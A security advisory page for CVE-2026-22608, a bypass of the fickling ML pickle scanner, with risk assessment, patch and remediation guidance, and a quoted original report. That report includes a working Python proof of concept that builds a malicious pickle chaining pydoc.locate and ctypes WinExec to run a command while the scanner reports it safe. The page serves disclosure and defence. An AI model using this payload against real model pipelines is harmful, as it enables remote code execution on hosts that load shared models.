CVE-2026-22608: fickling: Allowlist Bypass evades input filtering
GHSA-5hvc-6wx8-mvv4 HIGH PoC AVAILABLE CISA: ATTENDfickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.
Risk Assessment
HIGH risk for organizations using fickling to gate ML model loading. The bypass is trivially reproducible (public PoC exists), achieves unauthenticated RCE on the host deserializing the model, and specifically defeats the security control meant to prevent this class of attack. Risk amplifies in model-sharing workflows — internal registries, HuggingFace integrations, or automated MLOps pipelines — where a fickling LIKELY_SAFE verdict is the primary or sole defense against malicious pickles. EPSS is low (0.00043) indicating no observed mass exploitation yet, but the public PoC and high-value targets (GPU infrastructure, training data) make weaponization probable.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| fickling | pip | <= 0.1.6 | 0.1.7 |
Do you use fickling? You're affected.
Severity & Risk
Recommended Action
1 step-
1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-22608?
fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.
Is CVE-2026-22608 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-22608, increasing the risk of exploitation.
How to fix CVE-2026-22608?
1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.
What systems are affected by CVE-2026-22608?
This vulnerability affects the following AI/ML architecture patterns: model serving, training pipelines, MLOps CI/CD model registries, data science workstations, model sharing workflows.
What is the CVSS score for CVE-2026-22608?
No CVSS score has been assigned yet.
Technical Details
NVD Description
# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
Exploitation Scenario
Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.
Weaknesses (CWE)
References
- github.com/advisories/GHSA-5hvc-6wx8-mvv4
- github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py
- github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6
- github.com/trailofbits/fickling/pull/195
- github.com/trailofbits/fickling/releases/tag/v0.1.7
- github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4
- nvd.nist.gov/vuln/detail/CVE-2026-22608
Timeline
Related Vulnerabilities
GHSA-5hwf-rc88-82xm fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-wccx-j62j-r448 fickling: Protection Bypass circumvents security controls
Same package: fickling GHSA-5cxw-w2xg-2m8h fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-r48f-3986-4f9c fickling: Allowlist Bypass evades input filtering
Same package: fickling GHSA-mhc9-48gj-9gp3 fickling: Allowlist Bypass evades input filtering
Same package: fickling
AI Threat Alert